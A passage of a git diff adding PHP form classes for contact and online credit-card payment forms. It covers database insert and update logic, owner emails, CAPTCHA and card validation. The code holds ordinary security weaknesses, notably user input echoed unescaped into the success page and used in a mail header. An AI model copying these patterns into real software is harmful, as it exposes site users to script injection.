+                       }
+                       $page->formData['interest']['element'] = implode('<br>', $interests);
+               }
+
+               if ($this->elementExists('mail_ok')) {
+                       //      Clean up the mail_ok flag so its human readable
+                       $page->formData['mail_ok']['element']
+                = ($page->formData['mail_ok']['element']) ? 'Yes' : 'No';
+               }
+
+               $template->compile('emailOwner.tpl');
+               $htmlMsg = $template->bufferedOutputObject($page);
+
+               if ($hasInterestField) {
+                       //      Text version can't have HTML in it
+                       //      so reset the interests to use commas
+                       $page->formData['interest']['element'] = implode(", ", $interests);
+               }
+               $msg  = "{$page->subject}\n\n";
+               $msg .= "From {$page->fname} {$page->lname}\n\n";
+               $msg .= "Information\n\n";
+               foreach ($page->formData as $i) {
+                       $msg .= "{$i['label']}: {$i['element']}\n";
+               }
+
+        $mimeMail = new Mail_mime("\n");
+               $mimeMail->setFrom("Online Form <{$page->email_from}>");
+               $mimeMail->setSubject($this->subject);
+               $mimeMail->setHTMLBody($htmlMsg);
+               $mimeMail->setTXTBody($msg);
+
+               $mail =& Mail::factory($mailFactory);
+               $body = $mimeMail->get();
+
+        $setHeader['Reply-To'] = "{$this->getSubmitValue('fname')} {$this->getSubmitValue('lname')} <{$this->getSubmitValue('email')}>";
+
+               $headers = $mimeMail->headers($setHeader);
+
+               $res = $mail->send($this->email, $headers, $body);
+               if (PEAR::isError($res)) {
+                       return Toolkit_Common::handleError($res);
+               } else {
+                       return $res;
+               }
+       }
+
+       //      }}}
+       //      {{{     error()
+
+    /**
+     * Display errors with the form to the user
+     * 
+     * @param object $error PEAR Error Object
+        * 
+     * @return void  
+     * @access public
+     */
+       public function error($error)
+       {
+               //      make the variables static so that is only has to do the defining
+               //      on the first call.
+               static $errorMessages;
+               static $className;
+
+               //      define the various error messages
+               if (!isset($errorMessages)) {
+                       $className     = get_class($this);
+                       $errorMessages = array(
+                               FORM_OK                      => 'No error',
+                               FORM_ERROR                   => 'Unknown error',
+                               NO_RECORD                    => 'Setting both properties (email and hasContactDB) to false in the <i>' . $className . '</i> class will result in no email record being sent and no record being inserted into the database.  There will be no record that this form was ever filled out.',
+                               INVALID_DB                   => 'Please set the property hasContactDB to a boolean value in the class <i>' . $className . '</i> before continuing',
+                               MISSING_CONSTANT     => 'You have failed to set a CONSTANT for the class <i>' . $className . '</i> to function properly',
+                               MISSING_CONTACT_TYPE => 'Please set the property contactType in the class <i>'. $className . '</i> before continuing',);
+               }
+
+               if (!is_null($error->message)) {
+                       $message = $error->message;
+               } elseif (isset($errorMessages[$error->code])) {
+                       $message = $errorMessages[$error->code];
+               } else {
+                       $message = $errorMessages[$error->code];
+                       $message = $errorMessages[FORM_ERROR];
+               }
+
+               echo "<div id=\"form-warning-top\">{$message}</div>";
+       }
+
+       //      }}}
+    // {{{ getBusinessTypes()
+    /**
+     * getBusinessTypes 
+     * 
+     * @access public
+     * @return string
+     */
+    function getBusinessTypes()
+    {
+        return array(
+            '' => "Choose business",
+            "Advertising",
+            "Entertainment",
+            "Financial/Legal",
+            "Manufacturing",
+            "Publishing",
+            "Retail",
+            "Real Estate",
+            "Travel",
+            "Web Development",
+            "Wholesale",
+            "Other",
+        );
+    }
+    // }}}
+       //      {{{     getInterestFields()
+
+    /**
+     * Returns the field definitions of the contact db interest fields
+     * 
+     * @return array     Group definitions for the interest fields
+     * @access protected
+     */
+       protected function getInterestFields()
+       {
+               if (is_array($this->inquiries)) {
+            foreach ($this->inquiries as $group => $data) {
+                foreach ($data as $k => $v) {
+                    $interests[$group][] = array('type' => 'checkbox',
+                                             'req' => false,
+                                             'name' => $k,
+                                             'opts' => $v);
+                }
+                       }
+               }
+
+               return $interests;
+       }
+
+       //      }}}
+
+       //      {{{     insertData()
+
+    /**
+     * Inserts contact data into the contact db
+     * 
+     * @param array $values submitted values
+        *
+     * @return object result of db insert query
+     * @access protected
+     */
+       protected function insertData($values)
+       {
+        unset($values['comments']);
+               $values['contact_type'] = ":{$this->contactType}:";
+               if (is_array($values['interest']) && !empty($values['interest'])) {
+            foreach ($values['interest'] as $iGroup => $interests) {
+                           $newInterest[] = implode(':', array_keys($interests));
+            }
+            if (is_array($newInterest)) {
+                $values['interest'] = ':' . implode(':', $newInterest) . ':';
+            }
+               }
+               try {
+            $sql = Toolkit_Common::createSQLInsert(
+                $this->tableName,
+                array_keys($values)
+            );
+
+            return Toolkit_Common::processQuery($this->dbh, $sql, $values);
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+
+       //      {{{     processData()
+
+    /**
+     * Handles how to process the form when submitted
+     * 
+     * @param array $values Form submitted values
+        *
+     * @return array     Result of Insert / Update function
+     * @access protected
+     */
+       public function processData($values)
+       {
+               //      Form data used for the insert/update sql queries and 
+               //      the form email.
+               $e = array(
+                       'user_agent',
+                       'remote_addr',
+                       'contact_type',
+               );
+               $this->setFormData($e);
+
+
+               //      If no contact db, return true so we can send owner email.
+               if (!$this->hasContactDB) {
+                       return true;
+               }
+
+        //  Get rid of any elements in the values array that
+        //  aren't going to be used when inserting/updating the db.
+        $values = Toolkit_Common::cleanArray($values);
+
+        //  Send data off to StreamSend
+        if (   defined('STREAMSEND_FORMS_API')
+            && STREAMSEND_FORMS_API
+            && $values['mail_ok']
+        ) {
+            // Insert the record into the streamsend server
+            $streamSend = new Toolkit_Contacts_StreamSend();
+            $streamSend->addContact($values);
+        }
+
+        //  Check if we are updating an existing contact or not
+        //  question: is this the best approach?  what if someone else
+        //  sends a form through w/ different data but the same emil addy
+        //  the old users data can be completely wiped out.
+        $existingContact = $this->contactExists($values['email']);
+
+               if ($existingContact) {
+                       return $this->updateData($values);
+               } else {
+                       return $this->insertData($values);
+               }
+       }
+
+       //      }}}
+
+       //      {{{     setInterestFields()
+
+    /**
+     * Contact DB interests
+     * 
+     * @return void     
+     * @access protected
+     */
+       protected function setInterestFields()
+       {
+        $this->inquiries['Area of Interest. Check all That Apply'] = array(
+            'Web Site Development',
+            'Web Hosting',
+            'Search Engine Optimization Program',
+            'Wireless Equipment/Connectivity',
+            'Broadband/Connectivity',
+            'Network Consultation',
+        );
+       }
+
+       //      }}}
+       //      {{{     setupRenderers()
+    //  @codeCoverageIgnoreStart
+
+    /**
+     * Custom rendering templates for special fields on the form
+     * 
+     * @return void     
+     * @access protected
+     */
+       protected function setupRenderers()
+       {
+               parent::setupRenderers();
+               $renderer =& $this->defaultRenderer();
+               $required = '<!-- BEGIN required --><span class="req"> * </span><!-- END required -->';
+               $error    = '<!-- BEGIN error --><div class="req"> {error} </div><!-- END error -->';
+               $renderer->setElementTemplate('<tr><td colspan="2" class="fieldcell checkbox">'.$required.'{label}'.$error.'{element}</td></tr>', 'interest');
+        if (is_array($this->interestsGroups)) {
+            foreach ($this->interestsGroups as $group => $gData) {
+                $renderer->setGroupTemplate('<br>{content}', 'interest['.$group.']');
+                $renderer->setGroupElementTemplate('{element}', 'interest['.$group.']');
+                       $renderer->setElementTemplate('<tr><td colspan="2">'.$required.'{label}'.$error.'{element}</td></tr>', 'interest['.$group.']');
+            }
+        }
+               $renderer->setElementTemplate('<tr><td colspan="2">'.$required.'{label}'.$error.'{element}</td></tr>', 'comments');
+               $renderer->setElementTemplate('<tr align="center"><td colspan="2">'.$required.'{label}'.$error.'{element}</td></tr>', 'submit_rmv');
+
+               $renderer->setElementTemplate('<tr><td class="labelcell"><label>{label}</label></td><td class="fieldcell captcha">{element}</td></tr>', 'captcha_question');
+               $renderer->setElementTemplate('<tr><td class="labelcell">'.$required.'<label>{label}</label></td><td class="fieldcell">'.$error.'{element}<span class="tooltip" title="Verification Code|To help us distinguish between information submitted by individuals and those automatically entered by software robots, please type the letters shown.">What is this?</span></td></tr>', 'captcha_rmv');
+       }
+
+    //  @codeCoverageIgnoreEnd
+       //      }}}
+       //      {{{     toHtml()
+
+    /**
+     * Handles how to display the current step the user is at in the form
+     * 
+        * destroying and resetting the captcha value dis-allows someone from 
+        * re-sending a form on a previous captcha.
+        *
+     * @return string form HTML state
+     * @access public
+     */
+       public function toHtml()
+       {
+               $this->setupRenderers();
+               if ($this->validate()) {
+                       $this->captchaQuestion->destroy();
+                       $this->cleanForm();
+
+                       if ($this->process(array(&$this, 'processData'), $this->mergeFiles)) {
+                               $this->freeze();
+                               $this->emailOwner();
+                $this->successMsg = '<h4 align="center"><b>Thank You<br>'.$_REQUEST['fname'].',<br> a representative will be in contact with you promptly. </b></h4><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p>';
+                               $output = $this->successMsg;
+                       }
+            $this->sent = true;
+               } elseif ($this->isSubmitted()) {
+                       $this->captchaQuestion->destroy();
+                       $this->captchaAnswer->setValue('');
+                       $output  = $this->errorMsg;
+                       $output .= parent::toHTML();
+               } else {
+                       $this->captchaQuestion->destroy();
+                       $this->captchaAnswer->setValue('');
+                       $output = parent::toHTML();
+               }
+               return $output;
+       }
+
+       //      }}}
+
+       //      {{{     updateData()
+
+    /**
+     * Updates the contact in the contact db
+     * 
+     * @param array $values Form submitted values
+        *
+     * @return object    Result of the update query
+     * @access protected
+     */
+       protected function updateData($values)
+       {
+        unset($values['comments']);
+               if (is_array($values['interest']) && !empty($values['interest'])) {
+            foreach ($values['interest'] as $iGroup => $interests) {
+                           $newInterest[] = implode(':', array_keys($interests));
+            }
+            if (is_array($newInterest)) {
+                $values['interest'] = ':' . implode(':', $newInterest) . ':';
+            }
+               }
+
+               try {
+                       //      Get all the existing contact type data
+                       $sql = "
+                               SELECT contact_type
+                                 FROM {$this->tableName}
+                                WHERE email = :email";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':email', $values['email'], PDO::PARAM_STR);
+                       $stmt->execute();
+                       $stmt->bindColumn('contact_type', $cType);
+                       $stmt->fetch();
+
+                       $existingTypes = explode(':', $cType);
+                       if (!in_array($this->contactType, $existingTypes)) {
+                               $values['contact_type'] = "$cType{$this->contactType}:";
+                       }
+
+            $sql = Toolkit_Common::createSQLUpdate(
+                $this->tableName,
+                array_keys($values),
+                array('email = :email')
+            );
+
+            return Toolkit_Common::processQuery($this->dbh, $sql, $values);
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Contacts/Payments.php b/Toolkit/Contacts/Payments.php
new file mode 100755 (executable)
index 0000000..0a23e1c
--- /dev/null
@@ -0,0 +1,1243 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * File Doc Comment
+ *
+ * PHP version 5
+ *
+ * @category Contacts
+ * @package  Toolkit_Contacts
+ * @author   Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @license     http://www.gaslightmedia.com Gaslightmedia
+ * @version  CVS: $Id: Payments.php,v 1.6 2010/10/06 18:02:55 jamie Exp $
+ * @link        http://demo.gaslightmedia.com
+ */
+
+/**
+ * Error codes for Toolkit_Contacts_ContactUs
+ *
+ * Codes are mapped to textual messaged by errorMessage() method,
+ * if you add a new code be sure to add a new message for it to errorMessage()
+ *
+ * @see Toolkit_Contacts_ContactUs::errorMessage()
+ */
+define('FORM_OK', 1);
+define('FORM_ERROR', -1);
+define('NO_RECORD', -2);
+define('INVALID_DB', -3);
+define('MISSING_CONSTANT', -4);
+define('MISSING_CONTACT_TYPE', -5);
+
+/**
+ * GLM Contact Us form
+ *
+ * This form handles rendering and processing the contact us form.
+ * Controls the email functionality of the form, whether the client
+ * has a contact DB to store contact records and how to insert/update
+ * submitted form values.
+ *
+ * @category  Contacts
+ * @package   Toolkit_Contacts
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com
+ * @see       Toolkit_FormBuilder
+ */
+class Toolkit_Contacts_Payments
+    extends Toolkit_FormBuilder implements Toolkit_Form
+{
+       //      {{{     properties
+
+    /**
+     * Table in Database which holds the contact data
+        *
+     * @var    string
+     * @access public
+     */
+       public $tableName = 'contact';
+
+       private $_config;
+
+    /**
+     * Table meta data
+        *
+        * This is used when inserting/updating data for the records
+        * so the PDO's can use explicit data types for the parameters.
+        *
+     * @var    array
+     * @access public
+     */
+       public $tableMetaData = array();
+
+       /**
+        * Contact type to be inserted into the DB as when the form is submitted
+        *
+        * This property is only valid when the [hasContactDB] property is set
+        * to true.
+        *
+        * N.B.
+        * If you subclass this class out to other forms that are
+        * inserted into the contact db, be sure to make each one of their
+        * contactType properties unique.  We don't check for duplicates.
+        *
+        * @var string
+        * @access protected
+        */
+       protected $contactType = '1';
+
+    /**
+        * Who to send the email to when the contact form is submitted
+        *
+        * If you leave this blank, its value will get set to the OWNER_EMAIL
+        * in the constructor.
+        *
+        * If you ***DO NOT*** want any emails to go out when the form is submitted
+        * then set the value to false. Do not set it to 0 for false, because the
+        * check uses a strict type check to determine if the value is actually
+        * false. This is what allows for the empty value as an option, which sets
+        * the value to OWNER_EMAIL and won't override the $email property if
+        * this class gets subclassed and the value for this property gets set in
+        * the properties of the subclass and not in the constructor after this
+        * constructor function is called.
+        *
+        * tongue twister...I know.
+        * <code>
+        * protected $email = false;
+        * </code>
+        *
+     * @var    string
+     * @access protected
+     */
+       protected $email;
+
+    /**
+     * From header in the owner email
+        *
+        * This just sets the From header in the owner email
+        * SITENAME <from@email.com>
+        *
+        * It gets set to the constant SITENAME in the constructor if you leave
+        * empty here, but you can set it to something different here to override
+        * that if you desire.
+        *
+     * @var    string
+     * @access protected
+     */
+       protected $siteName;
+
+    /**
+        * Email subject and <h1> header in email
+        *
+        * It gets set in the constructor if you leave empty here, but you
+        * can set it to something different here to override that if you desire.
+        *
+     * @var    string
+     * @access protected
+     */
+       public $subject;
+
+    /**
+     * Whether the site has a contact DB to store contact records
+        *
+        * If this value is set to false, an email will still be sent to the
+        * addressed specified in the email property.
+        *
+     * @var    boolean
+     * @access protected
+     */
+       protected $hasContactDB = false;
+
+    /**
+     * The interests from the contact db
+        *
+     * @var    array
+     * @access protected
+     */
+       protected $inquiries = array();
+
+    /**
+     * Message to display if the form is successfully submitted
+        *
+     * @var    string
+     * @access protected
+     */
+       protected $successMsg = '
+               <div id="form-success-top">
+                       Thank you for your payment!
+               </div>';
+
+    /**
+     * Extra rules for processesing
+        *
+        * This registers the Zip validation rules (and any others listed) for
+        * QuickForm.
+        *
+        * Zip validation checks both US and Canadian Zip codes
+        *
+     * @var    array
+     * @access protected
+        * @see    app.gaslightmedia.com/glmPEAR/HTML/QuickForm/Rules/Zip.php
+     */
+       protected $registeredRules = array(
+        'zip',
+        'phone',
+        array(
+            'checkEmail',
+            'callback',
+            'email',
+            'Validate'
+        ),
+    );
+
+    public $autoValidateDateElements = false;
+
+    /**
+     * Options for flexy templating engine
+        *
+        * Pulls the preset options from the setup.phtml file
+        * overwrites the templateDir and compileDir to match this classes needs
+        *
+     * @var    array
+     * @access protected
+     */
+       protected $flexyOptions;
+
+       //      }}}
+       //      {{{     __construct()
+
+       /**
+        * Class constructor
+        *
+     * @param object $pdo         PHP Data Object
+     * @param string $formName    Form's name.
+     * @param string $method      (optional)Form's method defaults to 'POST'
+     * @param string $action      (optional)Form's action
+     * @param string $target      (optional)Form's target defaults to '_self'
+     * @param mixed  $attributes  (optional)Extra attributes for <form> tag
+     * @param bool   $trackSubmit (optional)Whether to track if the form was
+        *                                                        submitted by adding a special hidden field
+        *
+        * @author Jamie Kahgee <jamie.kahgee@gmail.com>
+        * @access public
+        * @link   http://pear.php.net/package/HTML_QuickForm/docs/latest/HTML_QuickForm/HTML_QuickForm.html
+        * @see    HTML_QuickForm
+        */
+       public function __construct(
+        PDO $pdo,
+        $formName,
+        $method = 'post',
+        $action = '',
+        $target = '',
+        $attributes = null,
+        $trackSubmit = false
+    ) {
+               //      Make sure these end cases are never met.
+               //      These are more for the development phase.
+               if ($this->email === false && $this->hasContactDB === false) {
+                       PEAR::raiseError(
+                null,
+                NO_RECORD,
+                PEAR_ERROR_CALLBACK,
+                array(&$this, 'error')
+            );
+               }
+               if (!is_bool($this->hasContactDB)) {
+                       PEAR::raiseError(
+                null,
+                INVALID_DB,
+                PEAR_ERROR_CALLBACK,
+                array(&$this, 'error')
+            );
+               }
+               //      we haven't defined the FROM_NEWS_EMAIL constant and
+               //      the email will default to relying on it.
+               if (   !defined('FROM_NEWS_EMAIL')
+            && (empty($this->email) && $this->email !== false)
+        ) {
+                       PEAR::raiseError(
+                'You need to define the FROM_NEWS_EMAIL
+                                constant for this form to work correctly',
+                MISSING_CONSTANT,
+                PEAR_ERROR_CALLBACK,
+                array(&$this, 'error')
+            );
+               }
+               if (!is_numeric($this->contactType) && $this->hasContactDB) {
+                       PEAR::raiseError(
+                null,
+                MISSING_CONTACT_TYPE,
+                PEAR_ERROR_CALLBACK,
+                array(&$this, 'error')
+            );
+               }
+               parent::__construct(
+            $formName,
+            $method,
+            $action,
+            $target,
+            $attributes,
+            $trackSubmit
+        );
+
+        $this->dbh = $pdo;
+
+               //      Default Renderer Form templates for QuickForm in respect to this
+               //      classes needs.
+               $this->template = dirname(__FILE__) . '/templates/currentTables/';
+               if ($this->email !== false && empty($this->email)) {
+                       //      Set to false to turn off email function.
+                       $this->email = PAYMENT_FORM_EMAIL;
+               }
+               if (empty($this->siteName)) {
+                       $this->siteName = SITENAME;
+               }
+               if (empty($this->subject)) {
+                       $this->subject = 'Online Payment from website ' . SITENAME;
+               }
+
+               /**
+                * Where are the flexy templates stored at for this class.
+                */
+               define('TEMPLATES_DIR', BASE . 'Toolkit/Contacts/templates');
+
+               /**
+                * Where are the compiled flexy templates stored at for this class.
+                */
+               define('COMPILED_DIR', BASE . 'Toolkit/Contacts/templates/compiled');
+               $oldUmask = umask(0);
+               if (!is_dir(TEMPLATES_DIR)) {
+                       mkdir(TEMPLATES_DIR, 0770, true);
+               }
+               if (!is_dir(COMPILED_DIR)) {
+                       mkdir(COMPILED_DIR, 0770, true);
+               }
+               umask($oldUmask);
+
+               $this->flexyOptions                = $GLOBALS['flexyOptions'];
+               $this->flexyOptions['templateDir'] = TEMPLATES_DIR;
+               $this->flexyOptions['compileDir']  = COMPILED_DIR;
+
+               $var = basename(__FILE__, '.php');
+
+               $callbackUrl = ($_SERVER['HTTPS'] == 'on') ?
+                                                         BASE_SECURE_URL : BASE_URL;
+
+               $this->captchaOptions = array(
+                       'width' => 100,
+                       'height' => 50,
+                       'callback' => "{$callbackUrl}Toolkit/qfcaptcha.php?var=$var",
+                       'sessionVar' => $var,
+                       'imageOptions' => array(
+                               'font_size' => 20,
+                               'font_path' => GLM_APP_BASE . 'glmPEAR/Image/Canvas/Fonts/',
+                               'font_file' => 'times.ttf',
+                               'background_color' => '#cccccc',
+                               'obfuscation' => false,
+                               'angle' => true,
+                       ),
+               );
+       }
+
+       //      }}}
+
+       //      {{{     checkCvv()
+
+       /**
+     * Check if the credit card CVV is properly formatted
+        *
+        * @param array $values credit card num and cvv number from the form
+        *
+     * @return boolean whether the cvv is properly formatted
+        * @access public
+        */
+       public function checkCvv($values)
+       {
+               return Validate_Finance_CreditCard::cvv($values[0], $values[1]);
+       }
+
+       //      }}}
+       //      {{{     checkNumber()
+
+       /**
+        * Check if the credit card number is properly formatted
+        *
+        * Credit card numbers have a specific formatting based on the credit card
+        * types.
+        * i.e. (visa, discover, etc...) This call verifies if the # was properly
+        * formatted against the card type selected
+        *
+        * @param array $values credit card type and number from the form
+        *
+        * @return boolean if cc number is properly formatted based on the card type
+        * @access public
+        */
+       public function checkNumber($values)
+       {
+               if (empty($values[1])) {
+                       $values[1] = null;
+               }
+
+               return Validate_Finance_CreditCard::number($values[0], $values[1]);
+       }
+
+       //      }}}
+    //
+       //      {{{     configureConstats()
+
+    /**
+     * Constant variables for the form
+        *
+        * These values won't get overridden by POST or GET vars
+     *
+     * @return void
+     * @access public
+     */
+       public function configureConstants()
+       {
+               $constants = array(
+                       'user_agent' => $_SERVER['HTTP_USER_AGENT'],
+                       'remote_addr' => $_SERVER['REMOTE_ADDR'],
+               );
+               $this->setupConstants($constants);
+       }
+
+       //      }}}
+       //      {{{     configureDefaults()
+
+    /**
+     * Initializes default form values
+     *
+     * @return void
+     * @access public
+     */
+       public function configureDefaults()
+       {
+        $defaults = array(
+            'state' => '',
+            'mail_ok' => 1
+        );
+
+               $this->setupDefaults($defaults);
+       }
+
+       //      }}}
+       //      {{{     configureElements()
+
+    /**
+     * Form element definitions
+     *
+     * @return void
+     * @access public
+     */
+       public function configureElements()
+       {
+               $ccTypes = array(
+                       ''           => '-- Select --',
+                       'mastercard' => 'Master Card',
+                       'visa'       => 'Visa',
+               );
+               $e = array();
+               //      All Elements are created here.  This includes group element definitions.
+        $e[] = array(
+            'type'    => 'header',
+            'name'    => 'personalInfoHdr',
+            'display' => 'Personal Information'
+        );
+               $e[] = array(
+                       'type' => 'hidden',
+                       'req'  => false,
+                       'name' => 'user_agent'
+               );
+               $e[] = array(
+                       'type' => 'hidden',
+                       'req'  => false,
+                       'name' => 'remote_addr'
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => true,
+                       'name'    => 'fname',
+                       'display' => 'First Name'
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => true,
+                       'name'    => 'lname',
+                       'display' => 'Last Name'
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => true,
+            'name'    => 'company',
+                       'display' => 'Company Name'
+               );
+
+        $e[] = array(
+            'type'    => 'header',
+            'name'    => 'billingInfoHdr',
+            'display' => 'Billing Information'
+        );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => true,
+                       'name'    => 'address',
+                       'display' => 'Billing Address'
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => true,
+                       'name'    => 'city',
+                       'display' => 'City'
+               );
+        $e[] = array(
+                       'type'    => 'select',
+                       'req'     => true,
+                       'name'    => 'state',
+                       'display' => 'State/Province',
+                       'opts'    => $GLOBALS['states']
+               );
+        $e[] = array(
+                       'type'    => 'text',
+                       'req'     => true,
+                       'name'    => 'zip',
+                       'display' => 'ZIP/Postal Code'
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => true,
+                       'name'    => 'phone',
+                       'display' => 'Phone'
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => true,
+                       'name'    => 'email',
+                       'display' => 'Email'
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => true,
+                       'name'    => 'email_rmv',
+                       'display' => 'Verify Email'
+               );
+
+        $e[] = array(
+            'type'    => 'header',
+            'req'     => false,
+            'name'    => 'creditCardInfoHdr',
+            'display' => 'Credit Card Information'
+        );
+
+        $e[] = array(
+            'type'    => 'html',
+
+            'name'    => '<tr><td align="center" colspan="2"><script language="JavaScript"
+    src="https://seal.networksolutions.com/siteseal/javascript/siteseal.js"
+    type="text/javascript"></script>
+<script language="JavaScript" type="text/javascript">
+    SiteSeal("https://seal.networksolutions.com/images/basicrecgreen.gif",
+    "NETSB", "none");</script></td></tr>'
+        );
+
+        $e[] = array(
+            'type'    => 'text',
+            'req'     => true,
+            'name'    => 'cc_fname',
+            'display' => 'First Name on<br>Credit Card',
+        );
+        $e[] = array(
+            'type'    => 'text',
+            'req'     => true,
+            'name'    => 'cc_lname',
+            'display' => 'Last Name on<br>Credit Card',
+        );
+        $e[] = array(
+            'type'    => 'select',
+            'req'     => true,
+            'name'    => 'cc_type',
+            'display' => 'Credit Card Type', 'opts' => $ccTypes
+        );
+        $e[] = array(
+            'type'    => 'text',
+            'req'     => true,
+            'name'    => 'cc_num',
+            'display' => 'Credit Card Number'
+        );
+        $e[] = array(
+            'type'    => 'date',
+            'req'     => true,
+            'name'    => 'cc_exp',
+            'display' => 'Expiration Date', 'opts' => array('format' => 'm / Y', 'minYear' => date('Y'), 'maxYear' => date('Y') + 10, 'addEmptyOption' => true, 'emptyOptionText' => array('m' => 'mm', 'Y' => 'yyyy'))
+        );
+        $e[] = array(
+            'type'    => 'text',
+            'req'     => true,
+            'name'    => 'cc_cvv',
+            'display' => 'CVV'
+        );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => true,
+                       'name'    => 'amount',
+            'display' => 'Amount to pay'
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => false,
+                       'name'    => 'invoice_number',
+            'display' => 'Invoice Number'
+               );
+/*  
+//removed this option list per Candace 10/06/10 jm'payment
+      $e[] = array(
+                       'type'    => 'select',
+                       'req'     => true,
+                       'name'    => 'payment_type',
+                       'display' => 'Pay this',
+            'opts'    => array(
+                'once'   => 'Once',
+                'monthy' => 'Monthly',
+                'yearly' => 'Yearly'
+            )
+               );
+*/
+        $e[] = array(
+            'type'    => 'header',
+            'name'    => 'verificationHdr',
+            'display' => 'Verification'
+        );
+               $e[] = array(
+                       'type'    => 'CAPTCHA_Image',
+                       'req'     => false,
+                       'name'    => 'captcha_question',
+                       'display' => 'Verification code',
+                       'opts'    => $this->captchaOptions
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => true,
+                       'name'    => 'captcha_rmv',
+                       'display' => 'Enter verification code'
+               );
+               $e[] = array(
+                       'type'    => 'submit',
+                       'req'     => false,
+                       'name'    => 'submit_rmv',
+                       'display' => 'Submit Form'
+               );
+
+               $this->setupElements($e);
+       }
+
+       //      }}}
+       //      {{{     configureRules()
+
+    /**
+     * Form rule definitions
+     *
+        * Adds validation rules for the given fields
+     *
+     * @return void
+     * @access public
+     */
+       public function configureRules()
+       {
+               $r = array();
+               //      Form Rules
+               $r[] = array(
+                       'element'    => array('email', 'email_rmv'),
+                       'message'    => 'ERROR: Your Email Addresses Do Not Match!',
+                       'type'       => 'compare',
+                       'format'     => null,
+                       'validation' => $this->validationType,
+                       'reset'      => true,
+                       'force'      => false
+        );
+               $r[] = array(
+                       'element'    => 'phone',
+                       'message'    => 'ERROR: Invalid number (xxx) xxx-xxxx!',
+                       'type'       => 'phone',
+                       'format'     => null,
+                       'validation' => $this->validationType,
+                       'reset'      => true,
+                       'force'      => false
+        );
+               $r[] = array(
+                       'element'    => 'fax',
+                       'message'    => 'ERROR: Invalid number (xxx) xxx-xxxx!',
+                       'type'       => 'phone',
+                       'format'     => null,
+                       'validation' => $this->validationType,
+                       'reset'      => true,
+                       'force'      => false
+        );
+               $r[] = array(
+                       'element'    => 'zip',
+                       'message'    => 'ERROR: Invalid Zip!',
+                       'type'       => 'zip',
+                       'format'     => array('requireDBCheck' => false),
+                       'validation' => $this->validationType,
+                       'reset'      => true,
+                       'force'      => false
+        );
+               $r[] = array(
+                       'element'    => 'amount',
+                       'message'    => 'ERROR: Invalid Value!',
+                       'type'       => 'numeric',
+                       'format'     => null,
+                       'validation' => $this->validationType,
+                       'reset'      => true,
+                       'force'      => false
+        );
+               $r[] = array(
+                       'element'    => 'captcha_rmv',
+                       'message'    => 'ERROR: Incorrect verification code!',
+                       'type'       => 'CAPTCHA',
+                       'format'     => $this->captchaQuestion,
+                       'validation' => $this->validationType,
+                       'reset'      => true,
+                       'force'      => false
+        );
+        $r[] = array(
+            'element'    => array('cc_num', 'cc_type'),
+            'message'    => 'ERROR: Number does not match card type!',
+            'type'       => 'callback',
+            'format'     => array(&$this, 'checkNumber'),
+            'validation' => $this->validationType,
+            'reset'      => false,
+            'force'      => false
+        );
+        $r[] = array(
+            'element'    => array('cc_cvv', 'cc_type'),
+            'message'    => 'ERROR: CVV does not match card type!',
+            'type'       => 'callback',
+            'format'     => array(&$this, 'checkCvv'),
+            'validation' => $this->validationType,
+            'reset'      => false,
+            'force'      => false
+        );
+
+               $this->setupRules($r);
+       }
+
+       //      }}}
+       //      {{{     configureFilters()
+
+    /**
+     * Form filter definitions
+     *
+        * Applies a data filter for the given fields when the form is submitted
+     *
+     * @return void
+     * @access public
+     */
+       public function configureFilters()
+       {
+        $f = array();
+
+               $f[] = array(
+            'element' => '__ALL__',
+            'filter' => 'trim'
+        );
+
+        $this->setupFilters($f);
+       }
+
+       //      }}}
+    //  {{{ configureForm()
+
+    /**
+     * Helper function, configures the entire form
+     *
+     * @return void
+     * @access public
+     */
+    public function configureForm()
+    {
+        $this->configureElements();
+        $this->configureFilters();
+        $this->configureRules();
+        $this->configureDefaults();
+        $this->configureConstants();
+    }
+
+    //  }}}
+    //  {{{ contactExists()
+
+    /**
+     * Checks for a duplicate email address already in the DB.
+     *
+     * @param string $email The email address to check for in the DB
+     *
+     * @return boolean If the email address already exists
+     * @access protected
+     */
+    protected function contactExists($email)
+    {
+               //      Check if a contact w/ the submitted email already exists.
+               //      if so, then we need to update, if not then do a fresh insert.
+               try {
+                       $sql = "
+                               SELECT count(*) AS count
+                                 FROM {$this->tableName}
+                                WHERE email   = :email";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':email', $email, PDO::PARAM_STR);
+                       $stmt->execute();
+                       $stmt->bindColumn('count', $contactExists);
+                       $stmt->fetch();
+
+            return (bool) $contactExists;
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+    }
+
+    //  }}}
+
+       //      {{{     emailOwner()
+
+    /**
+     * Emails the owner the submitted data from the submitted form
+     *
+        * Uses a flexy template to render a nice looking html email.
+        * Fills in the supplied data from the form and doesn't add the
+        * empty fields the user didn't fill in.
+        *
+     * @param string $mailFactory What type of mail factory should we use
+     *
+     * @return boolean result of the mailing
+     * @access protected
+     */
+       protected function emailOwner($mailFactory = 'mail')
+       {
+               if (!$this->email) {
+                       return;
+               }
+
+               $template = new HTML_Template_Flexy($this->flexyOptions);
+               $page     = new stdClass();
+
+
+        // for comments textarea need to replace newlines with br
